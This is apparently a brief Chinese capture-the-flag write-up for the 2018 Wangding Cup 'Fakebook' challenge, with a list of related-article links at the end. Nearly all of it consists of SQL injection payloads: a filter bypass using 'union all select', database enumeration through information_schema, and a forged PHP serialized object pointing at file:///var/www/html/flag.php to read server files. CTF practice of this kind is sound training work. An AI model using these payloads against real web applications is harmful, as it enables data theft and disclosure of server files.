[网鼎杯 2018]Fakebook1

打开题目

先创建用户,登录试试

观察网址,这是一道注入的题目

测试注入列数

说明注入列数为4

测试注入点

union select 被过滤

替代?no=0 union all select 1,2,3, 4 %23

2是注入点

爆数据库

?no=0 union all select 1,group_concat(schema_name),3, 4 from

information_schema.schemata %23

爆表名

?no=0 union all select 1,group_concat(table_name),3, 4 from

information_schema.tables where table_schema='fakebook' #

爆字段

?no=0 union all select 1,group_concat(column_name),3, 4 from

information_schema.columns where table_name='users' #

爆数据

?no=0 union all select 1,group_concat(data),3, 4 from fakebook.users #

构造序列化结果

data中的数据

?no=0 union all select 1,group_concat(data),3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from fakebook.users #

最后查看源码,看到base64,解码得到flag

相关推荐
DBA圈小圈8 分钟前
【KingbaseES】V8R6查询长事务语句
数据库·postgresql·database
子超兄14 分钟前
MVCC机制简介
数据库·mysql
虹科网络安全17 分钟前
艾体宝洞察 | 在 Redis 之上,聊一聊架构思维
数据库·redis·架构
yuguo.im21 分钟前
如何查看 Mysql 版本
数据库·mysql
中年程序员一枚22 分钟前
让postman调用python的开发接口,链接sqlite数据库,让前后联动起来
数据库·python·postman
weixin_4624462325 分钟前
解决MongoDB官网下载过慢问题
数据库·mongodb
青蛙大侠公主32 分钟前
Spring事务
java·数据库·spring
老华带你飞37 分钟前
校务管理|基于springboot 校务管理系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·spring
zzz大王1 小时前
sql 五十题 26-30
数据库·sql
互联网哪些事情2 小时前
服务器防御 SQL 注入
运维·服务器·sql·sql注入主机